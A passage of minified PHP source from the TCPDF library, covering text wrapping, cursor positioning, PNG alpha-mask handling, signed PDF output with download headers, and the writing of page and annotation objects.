($arabic)){$l=$this->GetArrStringWidth(TCPDF_FONTS::utf8Bidi(array_slice($chars,$j,($i-$j)),'',$this->tmprtl,$this->isunicode,$this->CurrentFont));}else {$l+=$this->GetCharWidth($c);}if(($l>$wmax) OR (($c==173) AND (($l+$tmp_shy_replacement_width)>=$wmax))){if(($c==173) AND (($l+$tmp_shy_replacement_width)>$wmax)){$sep=$prevsep;$shy=$prevshy;}if($sep==-1){if(($this->rtl AND ($this->x<=($this->w-$this->rMargin-$this->cell_padding['R']-$margin['R']-$chrwidth))) OR ((!$this->rtl) AND ($this->x>=($this->lMargin+$this->cell_padding['L']+$margin['L']+$chrwidth)))){$this->Cell($w,$h,'',0,1);$linebreak=true;if($firstline){return (TCPDF_FONTS::UniArrSubString($uchars,$j));}}else {$tmpstr=TCPDF_FONTS::UniArrSubString($uchars,$j,$i);if($firstline){$startx=$this->x;$tmparr=array_slice($chars,$j,($i-$j));if($rtlmode){$tmparr=TCPDF_FONTS::utf8Bidi($tmparr,$tmpstr,$this->tmprtl,$this->isunicode,$this->CurrentFont);}$linew=$this->GetArrStringWidth($tmparr);unset($tmparr);if($this->rtl){$this->endlinex=$startx-$linew;}else {$this->endlinex=$startx+$linew;}$w=$linew;$tmpcellpadding=$this->cell_padding;if($maxh==0){$this->SetCellPadding(0);}}if($firstblock AND $this->isRTLTextDir()){$tmpstr=$this->stringRightTrim($tmpstr);}$this->Cell($w,$h,$tmpstr,0,1,$align,$fill,$link,$stretch);unset($tmpstr);if($firstline){$this->cell_padding=$tmpcellpadding;return (TCPDF_FONTS::UniArrSubString($uchars,$i));}$j=$i;--$i;}}else {if($this->rtl AND (!$firstblock) AND ($sep<$i)){$endspace=1;}else {$endspace=0;}$strrest=TCPDF_FONTS::UniArrSubString($uchars,($sep+$endspace));$nextstr=TCPDF_STATIC::pregSplit('/'.$this->re_space['p'].'/',$this->re_space['m'],$this->stringTrim($strrest));if(isset($nextstr[0]) AND ($this->GetStringWidth($nextstr[0])>$pw)){$tmpstr=TCPDF_FONTS::UniArrSubString($uchars,$j,$i);if($firstline){$startx=$this->x;$tmparr=array_slice($chars,$j,($i-$j));if($rtlmode){$tmparr=TCPDF_FONTS::utf8Bidi($tmparr,$tmpstr,$this->tmprtl,$this->isunicode,$this->CurrentFont);}$linew=$this->GetArrStringWidth($tmparr);unset($tmparr);if($this->rtl){$this->endlinex=($startx-$linew);}else {$this->endlinex=($startx+$linew);}$w=$linew;$tmpcellpadding=$this->cell_padding;if($maxh==0){$this->SetCellPadding(0);}}if($firstblock AND $this->isRTLTextDir()){$tmpstr=$this->stringRightTrim($tmpstr);}$this->Cell($w,$h,$tmpstr,0,1,$align,$fill,$link,$stretch);unset($tmpstr);if($firstline){$this->cell_padding=$tmpcellpadding;return (TCPDF_FONTS::UniArrSubString($uchars,$i));}$j=$i;--$i;}else {if($shy){$shy_width=$tmp_shy_replacement_width;if($this->rtl){$shy_char_left=$tmp_shy_replacement_char;$shy_char_right='';}else {$shy_char_left='';$shy_char_right=$tmp_shy_replacement_char;}}else {$shy_width=0;$shy_char_left='';$shy_char_right='';}$tmpstr=TCPDF_FONTS::UniArrSubString($uchars,$j,($sep+$endspace));if($firstline){$startx=$this->x;$tmparr=array_slice($chars,$j,(($sep+$endspace)-$j));if($rtlmode){$tmparr=TCPDF_FONTS::utf8Bidi($tmparr,$tmpstr,$this->tmprtl,$this->isunicode,$this->CurrentFont);}$linew=$this->GetArrStringWidth($tmparr);unset($tmparr);if($this->rtl){$this->endlinex=$startx-$linew-$shy_width;}else {$this->endlinex=$startx+$linew+$shy_width;}$w=$linew;$tmpcellpadding=$this->cell_padding;if($maxh==0){$this->SetCellPadding(0);}}if($firstblock AND $this->isRTLTextDir()){$tmpstr=$this->stringRightTrim($tmpstr);}$this->Cell($w,$h,$shy_char_left.$tmpstr.$shy_char_right,0,1,$align,$fill,$link,$stretch);unset($tmpstr);if($firstline){if($chars[$sep]==45){$endspace+=1;}$this->cell_padding=$tmpcellpadding;return (TCPDF_FONTS::UniArrSubString($uchars,($sep+$endspace)));}$i=$sep;$sep=-1;$shy=false;$j=($i+1);}}if((($this->y+$this->lasth)>$this->PageBreakTrigger) AND ($this->inPageBody())){$this->AcceptPageBreak();if($this->rtl){$this->x-=$margin['R'];}else {$this->x+=$margin['L'];}$this->lMargin+=$margin['L'];$this->rMargin+=$margin['R'];}$w=$this->getRemainingWidth();$wmax=$w-$this->cell_padding['L']-$this->cell_padding['R'];if($linebreak){$linebreak=false;}else {++$nl;$l=0;}}}$pc=$c;++$i;}if($l>0){switch($align){case 'J':case 'C':{$w=$w;break;}case 'L':{if($this->rtl){$w=$w;}else {$w=$l;}break;}case 'R':{if($this->rtl){$w=$l;}else {$w=$w;}break;}default:{$w=$l;break;}}$tmpstr=TCPDF_FONTS::UniArrSubString($uchars,$j,$nb);if($firstline){$startx=$this->x;$tmparr=array_slice($chars,$j,($nb-$j));if($rtlmode){$tmparr=TCPDF_FONTS::utf8Bidi($tmparr,$tmpstr,$this->tmprtl,$this->isunicode,$this->CurrentFont);}$linew=$this->GetArrStringWidth($tmparr);unset($tmparr);if($this->rtl){$this->endlinex=$startx-$linew;}else {$this->endlinex=$startx+$linew;}$w=$linew;$tmpcellpadding=$this->cell_padding;if($maxh==0){$this->SetCellPadding(0);}}if($firstblock AND $this->isRTLTextDir()){$tmpstr=$this->stringRightTrim($tmpstr);}$this->Cell($w,$h,$tmpstr,0,$ln,$align,$fill,$link,$stretch);unset($tmpstr);if($firstline){$this->cell_padding=$tmpcellpadding;return (TCPDF_FONTS::UniArrSubString($uchars,$nb));}++$nl;}if($firstline){return '';}return $nl;} function getRemainingWidth(){list($this->x,$this->y)=$this->checkPageRegions(0,$this->x,$this->y);if($this->rtl){return ($this->x-$this->lMargin);}else {return ($this->w-$this->rMargin-$this->x);}} function fitBlock($w,$h,$x,$y,$fitonpage=false){if($w<=0){$w=($this->w-$this->lMargin-$this->rMargin);if($w<=0){$w=1;}}if($h<=0){$h=($this->PageBreakTrigger-$this->tMargin);if($h<=0){$h=1;}}if($fitonpage OR $this->AutoPageBreak){$ratio_wh=($w/$h);if($h>($this->PageBreakTrigger-$this->tMargin)){$h=$this->PageBreakTrigger-$this->tMargin;$w=($h*$ratio_wh);}if($fitonpage){$maxw=($this->w-$this->lMargin-$this->rMargin);if($w>$maxw){$w=$maxw;$h=($w/$ratio_wh);}}}$prev_x=$this->x;$prev_y=$this->y;if($this->checkPageBreak($h,$y) OR ($this->y<$prev_y)){$y=$this->y;if($this->rtl){$x+=($prev_x-$this->x);}else {$x+=($this->x-$prev_x);}$this->newline=true;}if($fitonpage){$ratio_wh=($w/$h);if(($y+$h)>$this->PageBreakTrigger){$h=$this->PageBreakTrigger-$y;$w=($h*$ratio_wh);}if((!$this->rtl) AND (($x+$w)>($this->w-$this->rMargin))){$w=$this->w-$this->rMargin-$x;$h=($w/$ratio_wh);}elseif(($this->rtl) AND (($x-$w)<($this->lMargin))){$w=$x-$this->lMargin;$h=($w/$ratio_wh);}}return array($w,$h,$x,$y);} function ImagePngAlpha($file,$x,$y,$wpx,$hpx,$w,$h,$type,$link,$align,$resize,$dpi,$palign,$filehash=''){if(empty($filehash)){$filehash=md5($file);}$tempfile_plain=K_PATH_CACHE.'__tcpdf_'.$this->file_id.'_imgmask_plain_'.$filehash;$tempfile_alpha=K_PATH_CACHE.'__tcpdf_'.$this->file_id.'_imgmask_alpha_'.$filehash;$parsed=false;$parse_error='';if(($parsed===false) AND extension_loaded('imagick')){try{$img=new Imagick();$img->readImage($file);$imga=TCPDF_STATIC::objclone($img);if(method_exists($img,'setImageAlphaChannel') AND defined('Imagick::ALPHACHANNEL_EXTRACT')){$img->setImageAlphaChannel(Imagick::ALPHACHANNEL_EXTRACT);}else {$img->separateImageChannel(8);$img->negateImage(true);}$img->setImageFormat('png');$img->writeImage($tempfile_alpha);if(method_exists($imga,'setImageMatte')){$imga->setImageMatte(false);}else {$imga->separateImageChannel(39);}$imga->setImageFormat('png');$imga->writeImage($tempfile_plain);$parsed=true;}catch(Exception$e){$parse_error='Imagick library error: '.$e->getMessage();}}if(($parsed===false) AND function_exists('imagecreatefrompng')){try{$img=imagecreatefrompng($file);$imgalpha=imagecreate($wpx,$hpx);for($c=0;$c<256;++$c){ImageColorAllocate($imgalpha,$c,$c,$c);}for($xpx=0;$xpx<$wpx;++$xpx){for($ypx=0;$ypx<$hpx;++$ypx){$color=imagecolorat($img,$xpx,$ypx);$alpha=$this->getGDgamma($img,$color);imagesetpixel($imgalpha,$xpx,$ypx,$alpha);}}imagepng($imgalpha,$tempfile_alpha);imagedestroy($imgalpha);$imgplain=imagecreatetruecolor($wpx,$hpx);imagecopy($imgplain,$img,0,0,0,0,$wpx,$hpx);imagepng($imgplain,$tempfile_plain);imagedestroy($imgplain);$parsed=true;}catch(Exception$e){$parse_error='GD library error: '.$e->getMessage();}}if($parsed===false){if(empty($parse_error)){$this->Error('TCPDF requires the Imagick or GD extension to handle PNG images with alpha channel.');}else {$this->Error($parse_error);}}$imgmask=$this->Image($tempfile_alpha,$x,$y,$w,$h,'PNG','','',$resize,$dpi,'',true,false);$this->Image($tempfile_plain,$x,$y,$w,$h,$type,$link,$align,$resize,$dpi,$palign,false,$imgmask);} function getGDgamma($img,$c){if(!isset($this->gdgammacache['#'.$c])){$colors=imagecolorsforindex($img,$c);$this->gdgammacache['#'.$c]=(((127-$colors['alpha'])/127)*255);$this->gdgammacache['#'.$c]=(pow(($this->gdgammacache['#'.$c]/255),2.2)*255);if(count($this->gdgammacache)>8){array_shift($this->gdgammacache);}}return $this->gdgammacache['#'.$c];} function Ln($h='',$cell=false){if(($this->num_columns>1) AND ($this->y==$this->columns[$this->current_column]['y']) AND isset($this->columns[$this->current_column]['x']) AND ($this->x==$this->columns[$this->current_column]['x'])){return;}if($cell){if($this->rtl){$cellpadding=$this->cell_padding['R'];}else {$cellpadding=$this->cell_padding['L'];}}else {$cellpadding=0;}if($this->rtl){$this->x=$this->w-$this->rMargin-$cellpadding;}else {$this->x=$this->lMargin+$cellpadding;}if(is_string($h)){$h=$this->lasth;}$this->y+=$h;$this->newline=true;} function GetX(){if($this->rtl){return ($this->w-$this->x);}else {return $this->x;}} function GetAbsX(){return $this->x;} function GetY(){return $this->y;} function SetX($x,$rtloff=false){$x=floatval($x);if(!$rtloff AND $this->rtl){if($x>=0){$this->x=$this->w-$x;}else {$this->x=abs($x);}}else {if($x>=0){$this->x=$x;}else {$this->x=$this->w+$x;}}if($this->x<0){$this->x=0;}if($this->x>$this->w){$this->x=$this->w;}} function SetY($y,$resetx=true,$rtloff=false){$y=floatval($y);if($resetx){if(!$rtloff AND $this->rtl){$this->x=$this->w-$this->rMargin;}else {$this->x=$this->lMargin;}}if($y>=0){$this->y=$y;}else {$this->y=$this->h+$y;}if($this->y<0){$this->y=0;}if($this->y>$this->h){$this->y=$this->h;}} function SetXY($x,$y,$rtloff=false){$this->SetY($y,false,$rtloff);$this->SetX($x,$rtloff);} function SetAbsX($x){$this->x=floatval($x);} function SetAbsY($y){$this->y=floatval($y);} function SetAbsXY($x,$y){$this->SetAbsX($x);$this->SetAbsY($y);} function Output($name='doc.pdf',$dest='I'){if($this->state<3){$this->Close();}if(is_bool($dest)){$dest=$dest?'D':'F';}$dest=strtoupper($dest);if($dest[0]!='F'){$name=preg_replace('/[\s]+/','_',$name);$name=preg_replace('/[^a-zA-Z0-9_\.-]/','',$name);}if($this->sign){$pdfdoc=$this->getBuffer();$pdfdoc=substr($pdfdoc,0,-1);$byterange_string_len=strlen(TCPDF_STATIC::$byterange_string);$byte_range=array();$byte_range[0]=0;$byte_range[1]=strpos($pdfdoc,TCPDF_STATIC::$byterange_string)+$byterange_string_len+10;$byte_range[2]=$byte_range[1]+$this->signature_max_length+2;$byte_range[3]=strlen($pdfdoc)-$byte_range[2];$pdfdoc=substr($pdfdoc,0,$byte_range[1]).substr($pdfdoc,$byte_range[2]);$byterange=sprintf('/ByteRange[0 %u %u %u]',$byte_range[1],$byte_range[2],$byte_range[3]);$byterange.=str_repeat(' ',($byterange_string_len-strlen($byterange)));$pdfdoc=str_replace(TCPDF_STATIC::$byterange_string,$byterange,$pdfdoc);$tempdoc=TCPDF_STATIC::getObjFilename('doc',$this->file_id);$f=TCPDF_STATIC::fopenLocal($tempdoc,'wb');if(!$f){$this->Error('Unable to create temporary file: '.$tempdoc);}$pdfdoc_length=strlen($pdfdoc);fwrite($f,$pdfdoc,$pdfdoc_length);fclose($f);$tempsign=TCPDF_STATIC::getObjFilename('sig',$this->file_id);if(empty($this->signature_data['extracerts'])){openssl_pkcs7_sign($tempdoc,$tempsign,$this->signature_data['signcert'],array($this->signature_data['privkey'],$this->signature_data['password']),array(),PKCS7_BINARY|PKCS7_DETACHED);}else {openssl_pkcs7_sign($tempdoc,$tempsign,$this->signature_data['signcert'],array($this->signature_data['privkey'],$this->signature_data['password']),array(),PKCS7_BINARY|PKCS7_DETACHED,$this->signature_data['extracerts']);}$signature=file_get_contents($tempsign);$signature=substr($signature,$pdfdoc_length);$signature=substr($signature,(strpos($signature,"%%EOF

------")+13));$tmparr=explode("

",$signature);$signature=$tmparr[1];$signature=base64_decode(trim($signature));$signature=$this->applyTSA($signature);$signature=current(unpack('H*',$signature));$signature=str_pad($signature,$this->signature_max_length,'0');$this->buffer=substr($pdfdoc,0,$byte_range[1]).'<'.$signature.'>'.substr($pdfdoc,$byte_range[1]);$this->bufferlen=strlen($this->buffer);}switch($dest){case 'I':{if(ob_get_contents()){$this->Error('Some data has already been output, can\'t send PDF file');}if(php_sapi_name()!='cli'){header('Content-Type: application/pdf');if(headers_sent()){$this->Error('Some data has already been output to browser, can\'t send PDF file');}header('Cache-Control: private, must-revalidate, post-check=0, pre-check=0, max-age=1');header('Pragma: public');header('Expires: Sat, 26 Jul 1997 05:00:00 GMT');header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT');header('Content-Disposition: inline; filename="'.basename($name).'"');TCPDF_STATIC::sendOutputData($this->getBuffer(),$this->bufferlen);}else {echo $this->getBuffer();}break;}case 'D':{if(ob_get_contents()){$this->Error('Some data has already been output, can\'t send PDF file');}header('Content-Description: File Transfer');if(headers_sent()){$this->Error('Some data has already been output to browser, can\'t send PDF file');}header('Cache-Control: private, must-revalidate, post-check=0, pre-check=0, max-age=1');header('Pragma: public');header('Expires: Sat, 26 Jul 1997 05:00:00 GMT');header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT');if(strpos(php_sapi_name(),'cgi')===false){header('Content-Type: application/force-download');header('Content-Type: application/octet-stream',false);header('Content-Type: application/download',false);header('Content-Type: application/pdf',false);}else {header('Content-Type: application/pdf');}header('Content-Disposition: attachment; filename="'.basename($name).'"');header('Content-Transfer-Encoding: binary');TCPDF_STATIC::sendOutputData($this->getBuffer(),$this->bufferlen);break;}case 'F':case 'FI':case 'FD':{$f=TCPDF_STATIC::fopenLocal($name,'wb');if(!$f){$this->Error('Unable to create output file: '.$name);}fwrite($f,$this->getBuffer(),$this->bufferlen);fclose($f);if($dest=='FI'){header('Content-Type: application/pdf');header('Cache-Control: private, must-revalidate, post-check=0, pre-check=0, max-age=1');header('Pragma: public');header('Expires: Sat, 26 Jul 1997 05:00:00 GMT');header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT');header('Content-Disposition: inline; filename="'.basename($name).'"');TCPDF_STATIC::sendOutputData(file_get_contents($name),filesize($name));}elseif($dest=='FD'){if(ob_get_contents()){$this->Error('Some data has already been output, can\'t send PDF file');}header('Content-Description: File Transfer');if(headers_sent()){$this->Error('Some data has already been output to browser, can\'t send PDF file');}header('Cache-Control: private, must-revalidate, post-check=0, pre-check=0, max-age=1');header('Pragma: public');header('Expires: Sat, 26 Jul 1997 05:00:00 GMT');header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT');if(strpos(php_sapi_name(),'cgi')===false){header('Content-Type: application/force-download');header('Content-Type: application/octet-stream',false);header('Content-Type: application/download',false);header('Content-Type: application/pdf',false);}else {header('Content-Type: application/pdf');}header('Content-Disposition: attachment; filename="'.basename($name).'"');header('Content-Transfer-Encoding: binary');TCPDF_STATIC::sendOutputData(file_get_contents($name),filesize($name));}break;}case 'E':{$retval='Content-Type: application/pdf;'."
";$retval.=' name="'.$name.'"'."
";$retval.='Content-Transfer-Encoding: base64'."
";$retval.='Content-Disposition: attachment;'."
";$retval.=' filename="'.$name.'"'."

";$retval.=chunk_split(base64_encode($this->getBuffer()),76,"
");return $retval;}case 'S':{return $this->getBuffer();}default:{$this->Error('Incorrect output destination: '.$dest);}}return '';} function _destroy($destroyall=false,$preserve_objcopy=false){if($destroyall AND !$preserve_objcopy){$tmpfiles=glob(K_PATH_CACHE.'__tcpdf_'.$this->file_id.'_*');if(!empty($tmpfiles)){array_map('unlink',$tmpfiles);}}$preserve=array('file_id','internal_encoding','state','bufferlen','buffer','cached_files','sign','signature_data','signature_max_length','byterange_string','tsa_timestamp','tsa_data');foreach(array_keys(get_object_vars($this)) as $val){if($destroyall OR !in_array($val,$preserve)){if((!$preserve_objcopy OR ($val!='objcopy')) AND ($val!='file_id') AND isset($this->$val)){unset($this->$val);}}}} function _dochecks(){if(1.1==1){$this->Error('Don\'t alter the locale before including class file');}if(sprintf('%.1F',1.0)!='1.0'){setlocale(LC_NUMERIC,'C');}} function getInternalPageNumberAliases($a=''){$alias=array();$alias=array('u'=>array(),'a'=>array());$u='{'.$a.'}';$alias['u'][]=TCPDF_STATIC::_escape($u);if($this->isunicode){$alias['u'][]=TCPDF_STATIC::_escape(TCPDF_FONTS::UTF8ToLatin1($u,$this->isunicode,$this->CurrentFont));$alias['u'][]=TCPDF_STATIC::_escape(TCPDF_FONTS::utf8StrRev($u,false,$this->tmprtl,$this->isunicode,$this->CurrentFont));$alias['a'][]=TCPDF_STATIC::_escape(TCPDF_FONTS::UTF8ToLatin1($a,$this->isunicode,$this->CurrentFont));$alias['a'][]=TCPDF_STATIC::_escape(TCPDF_FONTS::utf8StrRev($a,false,$this->tmprtl,$this->isunicode,$this->CurrentFont));}$alias['a'][]=TCPDF_STATIC::_escape($a);return $alias;} function getAllInternalPageNumberAliases(){$basic_alias=array(TCPDF_STATIC::$alias_tot_pages,TCPDF_STATIC::$alias_num_page,TCPDF_STATIC::$alias_group_tot_pages,TCPDF_STATIC::$alias_group_num_page,TCPDF_STATIC::$alias_right_shift);$pnalias=array();foreach($basic_alias as $k=>$a){$pnalias[$k]=$this->getInternalPageNumberAliases($a);}return $pnalias;} function replaceRightShiftPageNumAliases($page,$aliases,$diff){foreach($aliases as $type=>$alias){foreach($alias as $a){$startnum=(strpos($a,':')+1);$a=substr($a,0,$startnum);if(($pos=strpos($page,$a))!==false){$endnum=strpos($page,'}',$pos);$aa=substr($page,$pos,($endnum-$pos+1));$ratio=substr($page,($pos+$startnum),($endnum-$pos-$startnum));$ratio=preg_replace('/[^0-9\.]/','',$ratio);$ratio=floatval($ratio);if($type=='u'){$chrdiff=floor(($diff+12)*$ratio);$shift=str_repeat(' ',$chrdiff);$shift=TCPDF_FONTS::UTF8ToUTF16BE($shift,false,$this->isunicode,$this->CurrentFont);}else {$chrdiff=floor(($diff+11)*$ratio);$shift=str_repeat(' ',$chrdiff);}$page=str_replace($aa,$shift,$page);}}}return $page;} function setPageBoxTypes($boxes){$this->page_boxes=array();foreach($boxes as $box){if(in_array($box,TCPDF_STATIC::$pageboxes)){$this->page_boxes[]=$box;}}} function _putpages(){$filter=($this->compress)?'/Filter /FlateDecode ':'';$pnalias=$this->getAllInternalPageNumberAliases();$num_pages=$this->numpages;$ptpa=TCPDF_STATIC::formatPageNumber(($this->starting_page_number+$num_pages-1));$ptpu=TCPDF_FONTS::UTF8ToUTF16BE($ptpa,false,$this->isunicode,$this->CurrentFont);$ptp_num_chars=$this->GetNumChars($ptpa);$pagegroupnum=0;$groupnum=0;$ptgu=1;$ptga=1;$ptg_num_chars=1;for($n=1;$n<=$num_pages;++$n){$temppage=$this->getPageBuffer($n);$pagelen=strlen($temppage);$pnpa=TCPDF_STATIC::formatPageNumber(($this->starting_page_number+$n-1));$pnpu=TCPDF_FONTS::UTF8ToUTF16BE($pnpa,false,$this->isunicode,$this->CurrentFont);$pnp_num_chars=$this->GetNumChars($pnpa);$pdiff=0;$gdiff=0;if(!empty($this->pagegroups)){if(isset($this->newpagegroup[$n])){$pagegroupnum=0;++$groupnum;$ptga=TCPDF_STATIC::formatPageNumber($this->pagegroups[$groupnum]);$ptgu=TCPDF_FONTS::UTF8ToUTF16BE($ptga,false,$this->isunicode,$this->CurrentFont);$ptg_num_chars=$this->GetNumChars($ptga);}++$pagegroupnum;$pnga=TCPDF_STATIC::formatPageNumber($pagegroupnum);$pngu=TCPDF_FONTS::UTF8ToUTF16BE($pnga,false,$this->isunicode,$this->CurrentFont);$png_num_chars=$this->GetNumChars($pnga);$replace=array();$replace[]=array($ptgu,$ptg_num_chars,9,$pnalias[2]['u']);$replace[]=array($ptga,$ptg_num_chars,7,$pnalias[2]['a']);$replace[]=array($pngu,$png_num_chars,9,$pnalias[3]['u']);$replace[]=array($pnga,$png_num_chars,7,$pnalias[3]['a']);list($temppage,$gdiff)=TCPDF_STATIC::replacePageNumAliases($temppage,$replace,$gdiff);}$replace=array();$replace[]=array($ptpu,$ptp_num_chars,9,$pnalias[0]['u']);$replace[]=array($ptpa,$ptp_num_chars,7,$pnalias[0]['a']);$replace[]=array($pnpu,$pnp_num_chars,9,$pnalias[1]['u']);$replace[]=array($pnpa,$pnp_num_chars,7,$pnalias[1]['a']);list($temppage,$pdiff)=TCPDF_STATIC::replacePageNumAliases($temppage,$replace,$pdiff);$temppage=$this->replaceRightShiftPageNumAliases($temppage,$pnalias[4],max($pdiff,$gdiff));$temppage=str_replace($this->epsmarker,'',$temppage);$this->page_obj_id[$n]=$this->_newobj();$out='<<';$out.=' /Type /Page';$out.=' /Parent 1 0 R';if(empty($this->signature_data['approval']) OR ($this->signature_data['approval']!='A')){$out.=' /LastModified '.$this->_datestring(0,$this->doc_modification_timestamp);}$out.=' /Resources 2 0 R';foreach($this->page_boxes as $box){$out.=' /'.$box;$out.=sprintf(' [%F %F %F %F]',$this->pagedim[$n][$box]['llx'],$this->pagedim[$n][$box]['lly'],$this->pagedim[$n][$box]['urx'],$this->pagedim[$n][$box]['ury']);}if(isset($this->pagedim[$n]['BoxColorInfo']) AND !empty($this->pagedim[$n]['BoxColorInfo'])){$out.=' /BoxColorInfo <<';foreach($this->page_boxes as $box){if(isset($this->pagedim[$n]['BoxColorInfo'][$box])){$out.=' /'.$box.' <<';if(isset($this->pagedim[$n]['BoxColorInfo'][$box]['C'])){$color=$this->pagedim[$n]['BoxColorInfo'][$box]['C'];$out.=' /C [';$out.=sprintf(' %F %F %F',($color[0]/255),($color[1]/255),($color[2]/255));$out.=' ]';}if(isset($this->pagedim[$n]['BoxColorInfo'][$box]['W'])){$out.=' /W '.($this->pagedim[$n]['BoxColorInfo'][$box]['W']*$this->k);}if(isset($this->pagedim[$n]['BoxColorInfo'][$box]['S'])){$out.=' /S /'.$this->pagedim[$n]['BoxColorInfo'][$box]['S'];}if(isset($this->pagedim[$n]['BoxColorInfo'][$box]['D'])){$dashes=$this->pagedim[$n]['BoxColorInfo'][$box]['D'];$out.=' /D [';foreach($dashes as $dash){$out.=sprintf(' %F',($dash*$this->k));}$out.=' ]';}$out.=' >>';}}$out.=' >>';}$out.=' /Contents '.($this->n+1).' 0 R';$out.=' /Rotate '.$this->pagedim[$n]['Rotate'];if(!$this->pdfa_mode){$out.=' /Group << /Type /Group /S /Transparency /CS /DeviceRGB >>';}if(isset($this->pagedim[$n]['trans']) AND !empty($this->pagedim[$n]['trans'])){if(isset($this->pagedim[$n]['trans']['Dur'])){$out.=' /Dur '.$this->pagedim[$n]['trans']['Dur'];}$out.=' /Trans <<';$out.=' /Type /Trans';if(isset($this->pagedim[$n]['trans']['S'])){$out.=' /S /'.$this->pagedim[$n]['trans']['S'];}if(isset($this->pagedim[$n]['trans']['D'])){$out.=' /D '.$this->pagedim[$n]['trans']['D'];}if(isset($this->pagedim[$n]['trans']['Dm'])){$out.=' /Dm /'.$this->pagedim[$n]['trans']['Dm'];}if(isset($this->pagedim[$n]['trans']['M'])){$out.=' /M /'.$this->pagedim[$n]['trans']['M'];}if(isset($this->pagedim[$n]['trans']['Di'])){$out.=' /Di '.$this->pagedim[$n]['trans']['Di'];}if(isset($this->pagedim[$n]['trans']['SS'])){$out.=' /SS '.$this->pagedim[$n]['trans']['SS'];}if(isset($this->pagedim[$n]['trans']['B'])){$out.=' /B '.$this->pagedim[$n]['trans']['B'];}$out.=' >>';}$out.=$this->_getannotsrefs($n);$out.=' /PZ '.$this->pagedim[$n]['PZ'];$out.=' >>';$out.="
".'endobj';$this->_out($out);$p=($this->compress)?gzcompress($temppage):$temppage;$this->_newobj();$p=$this->_getrawstream($p);$this->_out('<<'.$filter.'/Length '.strlen($p).'>> stream'."
".$p."
".'endstream'."
".'endobj');}$out=$this->_getobj(1)."
";$out.='<< /Type /Pages /Kids [';foreach($this->page_obj_id as $page_obj){$out.=' '.$page_obj.' 0 R';}$out.=' ] /Count '.$num_pages.' >>';$out.="
".'endobj';$this->_out($out);} function _getannotsrefs($n){if(!(isset($this->PageAnnots[$n]) OR ($this->sign AND isset($this->signature_data['cert_type'])))){return '';}$out=' /Annots [';if(isset($this->PageAnnots[$n])){foreach($this->PageAnnots[$n] as $key=>$val){if(!in_array($val['n'],$this->radio_groups)){$out.=' '.$val['n'].' 0 R';}}if(isset($this->radiobutton_groups[$n])){foreach($this->radiobutton_groups[$n] as $key=>$data){if(isset($data['n'])){$out.=' '.$data['n'].' 0 R';}}}}if($this->sign AND ($n==$this->signature_appearance['page']) AND isset($this->signature_data['cert_type'])){$out.=' '.$this->sig_obj_id.' 0 R';}if(!empty($this->empty_signature_appearance)){foreach($this->empty_signature_appearance as $esa){if($esa['page']==$n){$out.=' '.$esa['objid'].' 0 R';}}}$out.=' ]';return $out;} function _putannotsobjs(){for($n=1;$n<=$this->numpages;++$n){if(isset($this->PageAnnots[$n])){foreach($this->PageAnnots[$n] as $key=>$pl){$annot_obj_id=$this->PageAnnots[$n][$key]['n'];if(isset($this->radiobutton_groups[$n][$pl['txt']]) AND is_array($this->radiobutton_groups[$n][$pl['txt']])){$radio_button_obj_id=$this->radiobutton_groups[$n][$pl['txt']]['n'];$annots='<<';$annots.=' /Type /Annot';$annots.=' /Subtype /Widget';$annots.=' /Rect [0 0 0 0]';if($this->radiobutton_groups[$n][$pl['txt']]['#readonly#']){$annots.=' /F 68';$annots.=' /Ff 49153';}else {$annots.=' /F 4';$annots.=' /Ff 49152';}$annots.=' /T '.$this->_datastring($pl['txt'],$radio_button_obj_id);if(isset($pl['opt']['tu']) AND is_string($pl['opt']['tu'])){$annots.=' /TU '.$this->_datastring($pl['opt']['tu'],$radio_button_obj_id);}$annots.=' /FT /Btn';$annots.=' /Kids [';$defval='';foreach($this->radiobutton_groups[$n][$pl['txt']] as $key=>$data){if(isset($data['kid'])){$annots.=' '.$data['kid'].' 0 R';if($data['def']!=='Off'){$defval=$data['def'];}}}$annots.=' ]';if(!empty($defval)){$annots.=' /V /'.$defval;}$annots.=' >>';$this->_out($this->_getobj($radio_button_obj_id)."
".$annots."
".'endobj');$this->form_obj_id[]=$radio_button_obj_id;$this->radiobutton_groups[$n][$pl['txt']]=$radio_button_obj_id;}$formfield=false;$pl['opt']=array_change_key_case($pl['opt'],CASE_LOWER);$a=$pl['x']*$this->k;$b=$this->pagedim[$n]['h']-(($pl['y']+$pl['h'])*$this->k);$c=$pl['w']*$this->k;$d=$pl['h']*$this->k;$rect=sprintf('%F %F %F %F',$a,$b,$a+$c,$b+$d);$annots='<</Type /Annot';$annots.=' /Subtype /'.$pl['opt']['subtype'];$annots.=' /Rect ['.$rect.']';$ft=array('Btn','Tx','Ch','Sig');if(isset($pl['opt']['ft']) AND in_array($pl['opt']['ft'],$ft)){$annots.=' /FT /'.$pl['opt']['ft'];$formfield=true;}$annots.=' /Contents '.$this->_textstring($pl['txt'],$annot_obj_id);$annots.=' /P '.$this->page_obj_id[$n].' 0 R';$annots.=' /NM '.$this->_datastring(sprintf('%04u-%04u',$n,$key),$annot_obj_id);$annots.=' /M '.$this->_datestring($annot_obj_id,$this->doc_modification_timestamp);if(isset($pl['opt']['f'])){$fval=0;if(is_array($pl['opt']['f'])){foreach($pl['opt']['f'] as $f){switch(strtolower($f)){case 'invisible':{$fval+=1<<0;break;}case 'hidden':{$fval+=1<<1;break;}case 'print':{$fval+=1<<2;break;}case 'nozoom':{$fval+=1<<3;break;}case 'norotate':{$fval+=1<<4;break;}case 'noview':{$fval+=1<<5;break;}case 'readonly':{$fval+=1<<6;break;}case 'locked':{$fval+=1<<8;break;}case 'togglenoview':{$fval+=1<<9;break;}case 'lockedcontents':{$fval+=1<<10;break;}default:{break;}}}}else {$fval=intval($pl['opt']['f']);}}else {$fval=4;}if($this->pdfa_mode){$fval|=4;}$annots.=' /F '.intval($fval);if(isset($pl['opt']['as']) AND is_string($pl['opt']['as'])){$annots.=' /AS /'.$pl['opt']['as'];}if(isset($pl['opt']['ap'])){$annots.=' /AP <<';if(is_array($pl['opt']['ap'])){foreach($pl['opt']['ap'] as $apmode=>$apdef){$annots.=' /'.strtoupper($apmode);if(is_array($apdef)){$annots.=' <<';foreach($apdef as $apstate=>$stream){$apsobjid=$this->_putAPXObject($c,$d,$stream);$annots.=' /'.$apstate.' '.$apsobjid.' 0 R';}$annots.=' >>';}else {$apsobjid=$this->_putAPXObject($c,$d,$apdef);$annots.=' '.$apsobjid.' 0 R';}}}else 